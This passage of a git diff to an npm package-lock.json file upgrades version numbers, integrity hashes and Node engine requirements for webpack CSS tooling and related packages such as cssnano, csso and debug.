"sha512-6WvYYn7l/XEGN8Xu2vWFt9nVzrCn39vKyTEFf/ExEyoksJjjSZV/0/35XPlMbpnr6VGhZIUg5yJrL8tGfes/FA==", "dev": true, "dependencies": { "icss-utils": "^5.1.0", - "loader-utils": "^2.0.0", - "postcss": "^8.2.15", - "postcss-modules-extract-imports": "^3.0.0", - "postcss-modules-local-by-default": "^4.0.0", - "postcss-modules-scope": "^3.0.0", + "postcss": "^8.4.33", + "postcss-modules-extract-imports": "^3.1.0", + "postcss-modules-local-by-default": "^4.0.5", + "postcss-modules-scope": "^3.2.0", "postcss-modules-values": "^4.0.0", - "postcss-value-parser": "^4.1.0", - "schema-utils": "^3.0.0", - "semver": "^7.3.5" + "postcss-value-parser": "^4.2.0", + "semver": "^7.5.4" }, "engines": { - "node": ">= 10.13.0" + "node": ">= 18.12.0" }, "funding": { "type": "opencollective", "url": "https://opencollective.com/webpack" }, "peerDependencies": { - "webpack": "^4.27.0 || ^5.0.0" - } - }, - "node_modules/css-loader/node_modules/schema-utils": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.1.1.tgz", - "integrity": "sha512-Y5PQxS4ITlC+EahLuXaY86TXfR7Dc5lw294alXOq86JAHCihAIZfqv8nNCWvaEJvaC51uN9hbLGeV0cFBdH+Fw==", - "dev": true, - "dependencies": { - "@types/json-schema": "^7.0.8", - "ajv": "^6.12.5", - "ajv-keywords": "^3.5.2" + "@rspack/core": "0.x || 1.x", + "webpack": "^5.27.0" }, - "engines": { - "node": ">= 10.13.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/webpack" + "peerDependenciesMeta": { + "@rspack/core": { + "optional": true + }, + "webpack": { + "optional": true + } } }, "node_modules/css-loader/node_modules/semver": { - "version": "7.3.5", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.5.tgz", - "integrity": "sha512-PoeGJYh8HK4BTO/a9Tf6ZG3veo/A7ZVsYrSA6J8ny9nb3B1VrpkuN+z9OE5wfE5p6H4LchYZsegiQgbJD94ZFQ==", + "version": "7.5.4", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.5.4.tgz", + "integrity": "sha512-1bCSESV6Pv+i21Hvpxp3Dx+pSD8lIPt8uVjRrxAUt/nbswYc+tK6Y2btiULjd4+fnq15PX+nqQDC7Oft7WkwcA==", "dev": true, "dependencies": { "lru-cache": "^6.0.0" @@ -6106,20 +6180,21 @@ } }, "node_modules/css-minimizer-webpack-plugin": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/css-minimizer-webpack-plugin/-/css-minimizer-webpack-plugin-4.0.0.tgz", - "integrity": "sha512-7ZXXRzRHvofv3Uac5Y+RkWRNo0ZMlcg8e9/OtrqUYmwDWJo+qs67GvdeFrXLsFb7czKNwjQhPkM0avlIYl+1nA==", + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/css-minimizer-webpack-plugin/-/css-minimizer-webpack-plugin-7.0.2.tgz", + "integrity": "sha512-nBRWZtI77PBZQgcXMNqiIXVshiQOVLGSf2qX/WZfG8IQfMbeHUMXaBWQmiiSTmPJUflQxHjZjzAmuyO7tpL2Jg==", "dev": true, + "license": "MIT", "dependencies": { - "cssnano": "^5.1.8", - "jest-worker": "^27.5.1", - "postcss": "^8.4.13", - "schema-utils": "^4.0.0", - "serialize-javascript": "^6.0.0", - "source-map": "^0.6.1" + "@jridgewell/trace-mapping": "^0.3.25", + "cssnano": "^7.0.4", + "jest-worker": "^29.7.0", + "postcss": "^8.4.40", + "schema-utils": "^4.2.0", + "serialize-javascript": "^6.0.2" }, "engines": { - "node": ">= 14.15.0" + "node": ">= 18.12.0" }, "funding": { "type": "opencollective", @@ -6132,6 +6207,9 @@ "@parcel/css": { "optional": true }, + "@swc/css": { + "optional": true + }, "clean-css": { "optional": true }, @@ -6140,72 +6218,62 @@ }, "esbuild": { "optional": true + }, + "lightningcss": { + "optional": true } } }, - "node_modules/css-minimizer-webpack-plugin/node_modules/ajv": { - "version": "8.10.0", - "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.10.0.tgz", - "integrity": "sha512-bzqAEZOjkrUMl2afH8dknrq5KEk2SrwdBROR+vH1EKVQTqaUbJVPdc/gEdggTMM0Se+s+Ja4ju4TlNcStKl2Hw==", + "node_modules/css-minimizer-webpack-plugin/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", "dev": true, - "dependencies": { - "fast-deep-equal": "^3.1.1", - "json-schema-traverse": "^1.0.0", - "require-from-string": "^2.0.2", - "uri-js": "^4.2.2" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/epoberezkin" + "engines": { + "node": ">=8" } }, - "node_modules/css-minimizer-webpack-plugin/node_modules/ajv-keywords": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz", - "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", + "node_modules/css-minimizer-webpack-plugin/node_modules/jest-worker": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-29.7.0.tgz", + "integrity": "sha512-eIz2msL/EzL9UFTFFx7jBTkeZfku0yUAyZZZmJ93H2TYEiroIx2PQjEXcwYtYl8zXCxb+PAmA2hLIt/6ZEkPHw==", "dev": true, "dependencies": { - "fast-deep-equal": "^3.1.3" + "@types/node": "*", + "jest-util": "^29.7.0", + "merge-stream": "^2.0.0", + "supports-color": "^8.0.0" }, - "peerDependencies": { - "ajv": "^8.8.2" + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" } }, - "node_modules/css-minimizer-webpack-plugin/node_modules/json-schema-traverse": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", - "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", - "dev": true - }, - "node_modules/css-minimizer-webpack-plugin/node_modules/schema-utils": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.0.0.tgz", - "integrity": "sha512-1edyXKgh6XnJsJSQ8mKWXnN/BVaIbFMLpouRUrXgVq7WYne5kw3MW7UPhO44uRXQSIpTSXoJbmrR2X0w9kUTyg==", + "node_modules/css-minimizer-webpack-plugin/node_modules/supports-color": { + "version": "8.1.1", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz", + "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", "dev": true, "dependencies": { - "@types/json-schema": "^7.0.9", - "ajv": "^8.8.0", - "ajv-formats": "^2.1.1", - "ajv-keywords": "^5.0.0" + "has-flag": "^4.0.0" }, "engines": { - "node": ">= 12.13.0" + "node": ">=10" }, "funding": { - "type": "opencollective", - "url": "https://opencollective.com/webpack" + "url": "https://github.com/chalk/supports-color?sponsor=1" } }, "node_modules/css-select": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/css-select/-/css-select-4.3.0.tgz", - "integrity": "sha512-wPpOYtnsVontu2mODhA19JrqWxNsfdatRKd64kmpRbQgh1KtItko5sTnEpPdpSaJszTOhEMlF/RPz28qj4HqhQ==", + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/css-select/-/css-select-5.1.0.tgz", + "integrity": "sha512-nwoRF1rvRRnnCqqY7updORDsuqKzqYJ28+oSMaJMMgOauh3fvwHqMS7EZpIPqK8GL+g9mKxF1vP/ZjSeNjEVHg==", "dev": true, + "license": "BSD-2-Clause", "dependencies": { "boolbase": "^1.0.0", - "css-what": "^6.0.1", - "domhandler": "^4.3.1", - "domutils": "^2.8.0", + "css-what": "^6.1.0", + "domhandler": "^5.0.2", + "domutils": "^3.0.1", "nth-check": "^2.0.1" }, "funding": { @@ -6223,16 +6291,17 @@ } }, "node_modules/css-tree": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-1.1.3.tgz", - "integrity": "sha512-tRpdppF7TRazZrjJ6v3stzv93qxRcSsFmW6cX0Zm2NVKpxE1WV1HblnghVv9TreireHkqI/VDEsfolRF1p6y7Q==", + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-2.3.1.tgz", + "integrity": "sha512-6Fv1DV/TYw//QF5IzQdqsNDjx/wc8TrMBZsqjL9eW01tWb7R7k/mq+/VXfJCl7SoD5emsJop9cOByJZfs8hYIw==", "dev": true, + "license": "MIT", "dependencies": { - "mdn-data": "2.0.14", - "source-map": "^0.6.1" + "mdn-data": "2.0.30", + "source-map-js": "^1.0.1" }, "engines": { - "node": ">=8.0.0" + "node": "^10 || ^12.20.0 || ^14.13.0 || >=15.0.0" } }, "node_modules/css-what": { @@ -6240,6 +6309,7 @@ "resolved": "https://registry.npmjs.org/css-what/-/css-what-6.1.0.tgz", "integrity": "sha512-HTUrgRJ7r4dsZKU6GjmpfRK1O76h97Z8MfS1G0FozR+oF2kG6Vfe8JE6zwrkbxigziPHinCJ+gCPjA9EaBDtRw==", "dev": true, + "license": "BSD-2-Clause", "engines": { "node": ">= 6" }, @@ -6265,124 +6335,132 @@ "integrity": "sha1-xtJnJjKi5cg+AT5oZKQs6N79IK4=" }, "node_modules/cssnano": { - "version": "5.1.12", - "resolved": "https://registry.npmjs.org/cssnano/-/cssnano-5.1.12.tgz", - "integrity": "sha512-TgvArbEZu0lk/dvg2ja+B7kYoD7BBCmn3+k58xD0qjrGHsFzXY/wKTo9M5egcUCabPol05e/PVoIu79s2JN4WQ==", + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/cssnano/-/cssnano-7.0.6.tgz", + "integrity": "sha512-54woqx8SCbp8HwvNZYn68ZFAepuouZW4lTwiMVnBErM3VkO7/Sd4oTOt3Zz3bPx3kxQ36aISppyXj2Md4lg8bw==", "dev": true, + "license": "MIT", "dependencies": { - "cssnano-preset-default": "^5.2.12", - "lilconfig": "^2.0.3", - "yaml": "^1.10.2" + "cssnano-preset-default": "^7.0.6", + "lilconfig": "^3.1.2" }, "engines": { - "node": "^10 || ^12 || >=14.0" + "node": "^18.12.0 || ^20.9.0 || >=22.0" }, "funding": { "type": "opencollective", "url": "https://opencollective.com/cssnano" }, "peerDependencies": { - "postcss": "^8.2.15" + "postcss": "^8.4.31" } }, "node_modules/cssnano-preset-default": { - "version": "5.2.12", - "resolved": "https://registry.npmjs.org/cssnano-preset-default/-/cssnano-preset-default-5.2.12.tgz", - "integrity": "sha512-OyCBTZi+PXgylz9HAA5kHyoYhfGcYdwFmyaJzWnzxuGRtnMw/kR6ilW9XzlzlRAtB6PLT/r+prYgkef7hngFew==", - "dev": true, - "dependencies": { - "css-declaration-sorter": "^6.3.0", - "cssnano-utils": "^3.1.0", - "postcss-calc": "^8.2.3", - "postcss-colormin": "^5.3.0", - "postcss-convert-values": "^5.1.2", - "postcss-discard-comments": "^5.1.2", - "postcss-discard-duplicates": "^5.1.0", - "postcss-discard-empty": "^5.1.1", - "postcss-discard-overridden": "^5.1.0", - "postcss-merge-longhand": "^5.1.6", - "postcss-merge-rules": "^5.1.2", - "postcss-minify-font-values": "^5.1.0", - "postcss-minify-gradients": "^5.1.1", - "postcss-minify-params": "^5.1.3", - "postcss-minify-selectors": "^5.2.1", - "postcss-normalize-charset": "^5.1.0", - "postcss-normalize-display-values": "^5.1.0", - "postcss-normalize-positions": "^5.1.1", - "postcss-normalize-repeat-style": "^5.1.1", - "postcss-normalize-string": "^5.1.0", - "postcss-normalize-timing-functions": "^5.1.0", - "postcss-normalize-unicode": "^5.1.0", - "postcss-normalize-url": "^5.1.0", - "postcss-normalize-whitespace": "^5.1.1", - "postcss-ordered-values": "^5.1.3", - "postcss-reduce-initial": "^5.1.0", - "postcss-reduce-transforms": "^5.1.0", - "postcss-svgo": "^5.1.0", - "postcss-unique-selectors": "^5.1.1" - }, - "engines": { - "node": "^10 || ^12 || >=14.0" + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/cssnano-preset-default/-/cssnano-preset-default-7.0.6.tgz", + "integrity": "sha512-ZzrgYupYxEvdGGuqL+JKOY70s7+saoNlHSCK/OGn1vB2pQK8KSET8jvenzItcY+kA7NoWvfbb/YhlzuzNKjOhQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "browserslist": "^4.23.3", + "css-declaration-sorter": "^7.2.0", + "cssnano-utils": "^5.0.0", + "postcss-calc": "^10.0.2", + "postcss-colormin": "^7.0.2", + "postcss-convert-values": "^7.0.4", + "postcss-discard-comments": "^7.0.3", + "postcss-discard-duplicates": "^7.0.1", + "postcss-discard-empty": "^7.0.0", + "postcss-discard-overridden": "^7.0.0", + "postcss-merge-longhand": "^7.0.4", + "postcss-merge-rules": "^7.0.4", + "postcss-minify-font-values": "^7.0.0", + "postcss-minify-gradients": "^7.0.0", + "postcss-minify-params": "^7.0.2", + "postcss-minify-selectors": "^7.0.4", + "postcss-normalize-charset": "^7.0.0", + "postcss-normalize-display-values": "^7.0.0", + "postcss-normalize-positions": "^7.0.0", + "postcss-normalize-repeat-style": "^7.0.0", + "postcss-normalize-string": "^7.0.0", + "postcss-normalize-timing-functions": "^7.0.0", + "postcss-normalize-unicode": "^7.0.2", + "postcss-normalize-url": "^7.0.0", + "postcss-normalize-whitespace": "^7.0.0", + "postcss-ordered-values": "^7.0.1", + "postcss-reduce-initial": "^7.0.2", + "postcss-reduce-transforms": "^7.0.0", + "postcss-svgo": "^7.0.1", + "postcss-unique-selectors": "^7.0.3" + }, + "engines": { + "node": "^18.12.0 || ^20.9.0 || >=22.0" }, "peerDependencies": { - "postcss": "^8.2.15" + "postcss": "^8.4.31" } }, "node_modules/cssnano-utils": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/cssnano-utils/-/cssnano-utils-3.1.0.tgz", - "integrity": "sha512-JQNR19/YZhz4psLX/rQ9M83e3z2Wf/HdJbryzte4a3NSuafyp9w/I4U+hx5C2S9g41qlstH7DEWnZaaj83OuEA==", + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/cssnano-utils/-/cssnano-utils-5.0.0.tgz", + "integrity": "sha512-Uij0Xdxc24L6SirFr25MlwC2rCFX6scyUmuKpzI+JQ7cyqDEwD42fJ0xfB3yLfOnRDU5LKGgjQ9FA6LYh76GWQ==", "dev": true, + "license": "MIT", "engines": { - "node": "^10 || ^12 || >=14.0" + "node": "^18.12.0 || ^20.9.0 || >=22.0" }, "peerDependencies": { - "postcss": "^8.2.15" + "postcss": "^8.4.31" } }, "node_modules/csso": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/csso/-/csso-4.2.0.tgz", - "integrity": "sha512-wvlcdIbf6pwKEk7vHj8/Bkc0B4ylXZruLvOgs9doS5eOsOpuodOV2zJChSpkp+pRpYQLQMeF04nr3Z68Sta9jA==", + "version": "5.0.5", + "resolved": "https://registry.npmjs.org/csso/-/csso-5.0.5.tgz", + "integrity": "sha512-0LrrStPOdJj+SPCCrGhzryycLjwcgUSHBtxNA8aIDxf0GLsRh1cKYhB00Gd1lDOS4yGH69+SNn13+TWbVHETFQ==", "dev": true, + "license": "MIT", "dependencies": { - "css-tree": "^1.1.2" + "css-tree": "~2.2.0" }, "engines": { - "node": ">=8.0.0" + "node": "^10 || ^12.20.0 || ^14.13.0 || >=15.0.0", + "npm": ">=7.0.0" } }, - "node_modules/cssom": { - "version": "0.5.0", - "resolved": "https://registry.npmjs.org/cssom/-/cssom-0.5.0.tgz", - "integrity": "sha512-iKuQcq+NdHqlAcwUY0o/HL69XQrUaQdMjmStJ8JFmUaiiQErlhrmuigkg/CU4E2J0IyUKUrMAgl36TvN67MqTw==", - "dev": true - }, - "node_modules/cssstyle": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/cssstyle/-/cssstyle-2.3.0.tgz", - "integrity": "sha512-AZL67abkUzIuvcHqk7c09cezpGNcxUxU4Ioi/05xHk4DQeTkWmGYftIE6ctU6AEt+Gn4n1lDStOtj7FKycP71A==", + "node_modules/csso/node_modules/css-tree": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-2.2.1.tgz", + "integrity": "sha512-OA0mILzGc1kCOCSJerOeqDxDQ4HOh+G8NbOJFOTgOCzpw7fCBubk0fEyxp8AgOL/jvLgYA/uV0cMbe43ElF1JA==", "dev": true, + "license": "MIT", "dependencies": { - "cssom": "~0.3.6" + "mdn-data": "2.0.28", + "source-map-js": "^1.0.1" }, "engines": { - "node": ">=8" + "node": "^10 || ^12.20.0 || ^14.13.0 || >=15.0.0", + "npm": ">=7.0.0" } }, - "node_modules/cssstyle/node_modules/cssom": { - "version": "0.3.8", - "resolved": "https://registry.npmjs.org/cssom/-/cssom-0.3.8.tgz", - "integrity": "sha512-b0tGHbfegbhPJpxpiBPU2sCkigAqtM9O121le6bbOlgyV+NyGyCmVfJ6QW9eRjz8CpNfWEOYBIMIGRYkLwsIYg==", - "dev": true + "node_modules/csso/node_modules/mdn-data": { + "version": "2.0.28", + "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.0.28.tgz", + "integrity": "sha512-aylIc7Z9y4yzHYAJNuESG3hfhC+0Ibp/MAMiaOZgNv4pmEdFyfZhhhny4MNiAfWdBQ1RQ2mfDWmM1x8SvGyp8g==", + "dev": true, + "license": "CC0-1.0" }, - "node_modules/d": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/d/-/d-1.0.1.tgz", - "integrity": "sha512-m62ShEObQ39CfralilEQRjH6oAMtNCV1xJyEx5LpRYUVN+EviphDgUc/F3hnYbADmkiNs67Y+3ylmlG7Lnu+FA==", + "node_modules/cssstyle": { + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/cssstyle/-/cssstyle-4.6.0.tgz", + "integrity": "sha512-2z+rWdzbbSZv6/rhtvzvqeZQHrBaqgogqt85sqFNbabZOuFbCVFb8kPeEtZjiKkbrm395irpNKiYeFeLiQnFPg==", + "dev": true, + "license": "MIT", "dependencies": { - "es5-ext": "^0.10.50", - "type": "^1.0.1" + "@asamuzakjp/css-color": "^3.2.0", + "rrweb-cssom": "^0.8.0" + }, + "engines": { + "node": ">=18" } }, "node_modules/dashdash": { @@ -6397,25 +6475,80 @@ } }, "node_modules/data-urls": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-3.0.2.tgz", - "integrity": "sha512-Jy/tj3ldjZJo63sVAvg6LHt2mHvl4V6AgRAmNDtLdm7faqtsx+aJG42rsyCo9JCoRVKwPFzKlIPx3DIibwSIaQ==", + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-5.0.0.tgz", + "integrity": "sha512-ZYP5VBHshaDAiVZxjbRVcFJpc+4xGgT0bK3vzy1HLN8jTO975HEbuYzZJcHoQEY5K1a0z8YayJkyVETa08eNTg==", "dev": true, + "license": "MIT", "dependencies": { - "abab": "^2.0.6", - "whatwg-mimetype": "^3.0.0", - "whatwg-url": "^11.0.0" + "whatwg-mimetype": "^4.0.0", + "whatwg-url": "^14.0.0" }, "engines": { - "node": ">=12" + "node": ">=18" + } + }, + "node_modules/data-view-buffer": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/data-view-buffer/-/data-view-buffer-1.0.2.tgz", + "integrity": "sha512-EmKO5V3OLXh1rtK2wgXRansaK1/mtVdTUEiEI0W8RkvgT05kfxaH29PliLnpLP73yYO6142Q72QNa8Wx/A5CqQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3", + "es-errors": "^1.3.0", + "is-data-view": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/data-view-byte-length": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/data-view-byte-length/-/data-view-byte-length-1.0.2.tgz", + "integrity": "sha512-tuhGbE6CfTM9+5ANGf+oQb72Ky/0+s3xKUpHvShfiz2RxMFgFPjsXuRLBVMtvMs15awe45SRb83D6wH4ew6wlQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3", + "es-errors": "^1.3.0", + "is-data-view": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/inspect-js" + } + }, + "node_modules/data-view-byte-offset": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/data-view-byte-offset/-/data-view-byte-offset-1.0.1.tgz", + "integrity": "sha512-BS8PfmtDGnrgYdOonGZQdLZslWIeCGFP9tpan0hi1Co2Zr2NKADsvGYA8XxuG/4UWgJ6Cjtv+YJnB6MM69QGlQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "es-errors": "^1.3.0", + "is-data-view": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" } }, "node_modules/debug": { - "version": "4.3.2", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.2.tgz", - "integrity": "sha512-mOp8wKcvj7XxC78zLgw/ZA+6TSgkoE2C/ienthhRD298T7UNwAg9diBpLRxC0mOezLl4B0xV7M0cCO6P/O0Xhw==", + "version": "4.4.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.1.tgz", + "integrity": "sha512-KcKCqiftBJcZr++7ykoDIEwSa3XWowTfNPo92BYxjXiyYEVrUQh2aLyhxBCwww+heortUFxEJYcRzosstTEBYQ==", + "license": "MIT", "dependencies": { - "ms": "2.1.2" + "ms": "^2.1.3" }, "engines": { "node": ">=6.0" @@ -6434,77 +6567,35 @@ "node": ">=0.10.0" } }, - "node_modules/decamelize-keys": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/decamelize-keys/-/decamelize-keys-1.1.0.tgz", - "integrity": "sha1-0XGoeTMlKAfrPLYdwcFEXQeN8tk=", - "dev": true, - "optional": true, - "peer": true, - "dependencies": { - "decamelize": "^1.1.0", - "map-obj": "^1.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/decamelize-keys/node_modules/map-obj": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/map-obj/-/map-obj-1.0.1.tgz", - "integrity": "sha1-2TPOuSBdgr3PSIb2dCvcK03qFG0=", - "dev": true, - "optional": true, - "peer": true, - "engines": { - "node": ">=0.10.0" - } - }, "node_modules/decimal.js": { - "version": "10.4.0", - "resolved": "https://registry.npmjs.org/decimal.js/-/decimal.js-10.4.0.tgz", - "integrity": "sha512-Nv6ENEzyPQ6AItkGwLE2PGKinZZ9g59vSh2BeH6NqPu0OTKZ5ruJsVqh/orbAnqXc9pBbgXAIrc2EyaCj8NpGg==", - "dev": true + "version": "10.6.0", + "resolved": "https://registry.npmjs.org/decimal.js/-/decimal.js-10.6.0.tgz", + "integrity": "sha512-YpgQiITW3JXGntzdUmyUR1V812Hn8T1YVXhCu+wO3OpS4eU9l4YdD3qjyiKdV6mvV29zapkMeD390UVEf2lkUg==", + "dev": true, + "license": "MIT" }, "node_modules/decode-uri-component": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/decode-uri-component/-/decode-uri-component-0.2.0.tgz", - "integrity": "sha1-6zkTMzRYd1y4TNGh+uBiEGu4dUU=", + "version": "0.2.2", + "resolved": "https://registry.npmjs.org/decode-uri-component/-/decode-uri-component-0.2.2.tgz", + "integrity": "sha512-FqUYQ+8o158GyGTrMFJms9qh3CqTKvAqgqsTnkLI8sKu0028orqBhxNMFkFen0zGyg6epACD32pjVk58ngIErQ==", "engines": { "node": ">=0.10" } }, - "node_modules/decompress-response": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-6.0.0.tgz", - "integrity": "sha512-aW35yZM6Bb/4oJlZncMH2LCoZtJXTRxES17vE3hoRiowU2kWHaJKFkSBDnDR+cm9J+9QhXmREyIfv0pji9ejCQ==", - "dependencies": { - "mimic-response": "^3.1.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/decompress-response/node_modules/mimic-response": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-3.1.0.tgz", - "integrity": "sha512-z0yWI+4FDrrweS8Zmt4Ej5HdJmky15+L2e6Wgn3+iK5fWzb6T3fhNFq2+MeTRb064c6Wr4N/wv0DzQTjNzHNGQ==", - "engines": { - "node": ">=10" + "node_modules/dedent": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/dedent/-/dedent-1.5.1.tgz", + "integrity": "sha512-+LxW+KLWxu3HW3M2w2ympwtqPrqYRzU8fqi6Fhd18fBALe15blJPI/I4+UHveMVG6lJqB4JNd4UG0S5cnVHwIg==", + "dev": true, + "peerDependencies": { + "babel-plugin-macros": "^3.1.0" }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" + "peerDependenciesMeta": { + "babel-plugin-macros": { + "optional": true + } } }, - "node_modules/dedent": { - "version": "0.7.0", - "resolved": "https://registry.npmjs.org/dedent/-/dedent-0.7.0.tgz", - "integrity": "sha512-Q6fKUPqnAHAyhiUgFU7BUzLiv0kd8saH9al7tnu5Q/okj6dnupxyTgFIBjVzJATdfIAm9NAsvXNzjaKa+bxVyA==", - "dev": true - }, "node_modules/deep-eql": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/deep-eql/-/deep-eql-3.0.1.tgz", @@ -6523,22 +6614,14 @@ "dev": true }, "node_modules/deepmerge": { - "version": "4.2.2", - "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.2.2.tgz", - "integrity": "sha512-FJ3UgI4gIl+PHZm53knsuSFpE+nESMr7M4v9QcgB7S63Kj/6WqMiFQJpBBYz1Pt+66bZpP3Q7Lye0Oo9MPKEdg==", + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.3.1.tgz", + "integrity": "sha512-3sUqbMEc77XqpdNO7FRyRog+eW3ph+GYCbj+rK+uYyRMuwsVy0rMiVtPn+QJlKFvWP/1PYpapqYn0Me2knFn+A==", "dev": true, "engines": { "node": ">=0.10.0" } }, - "node_modules/defer-to-connect": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/defer-to-connect/-/defer-to-connect-2.0.1.tgz", - "integrity": "sha512-4tvttepXG1VaYGrRibk5EwJd1t4udunSOVMdLSAL6mId1ix438oPwPZMALY41FCijukO1L0twNcGsdzS7dHgDg==", - "engines": { - "node": ">=10" - } - }, "node_modules/deferred-leveldown": { "version": "1.2.2", "resolved": "https://registry.npmjs.org/deferred-leveldown/-/deferred-leveldown-1.2.2.tgz", @@ -6547,15 +6630,36 @@ "abstract-leveldown": "~2.6.0" } }, + "node_modules/define-data-property": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/define-data-property/-/define-data-property-1.1.4.tgz", + "integrity": "sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==", + "dependencies": { + "es-define-property": "^1.0.0", + "es-errors": "^1.3.0", + "gopd": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, "node_modules/define-properties": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.1.3.tgz", - "integrity": "sha512-3MqfYKj2lLzdMSf8ZIZE/V+Zuy+BgD6f164e8K2w7dgnpKArBDerGYpM46IYYcjnkdPNMjPk9A6VFB8+3SKlXQ==", + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.2.1.tgz", + "integrity": "sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg==", "dependencies": { - "object-keys": "^1.0.12" + "define-data-property": "^1.0.1", + "has-property-descriptors": "^1.0.0", + "object-keys": "^1.1.1" }, "engines": { "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" } }, "node_modules/delayed-stream": { @@ -6571,25 +6675,6 @@ "resolved": "https://registry.npmjs.org/delegate/-/delegate-3.2.0.tgz", "integrity": "sha512-IofjkYBZaZivn0V8nnsMJGBr4jVLxHDheKSW88PyxS5QC4Vo9ZbZVvhzlSxY87fVq3STR6r+4cGepyHkcWOQSw==" }, - "node_modules/delegates": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/delegates/-/delegates-1.0.0.tgz", - "integrity": "sha1-hMbhWbgZBP3KWaDvRM2HDTElD5o=", - "dev": true, - "optional": true, - "peer": true - }, - "node_modules/depd": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/depd/-/depd-1.1.2.tgz", - "integrity": "sha1-m81S4UwJd2PnSbJ0xDRu0uVgtak=", - "dev": true, - "optional": true, - "peer": true, - "engines": { - "node": ">= 0.6" - } - }, "node_modules/des.js": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/des.js/-/des.js-1.0.1.tgz", @@ -6599,20 +6684,24 @@ "minimalistic-assert": "^1.0.0" } }, - 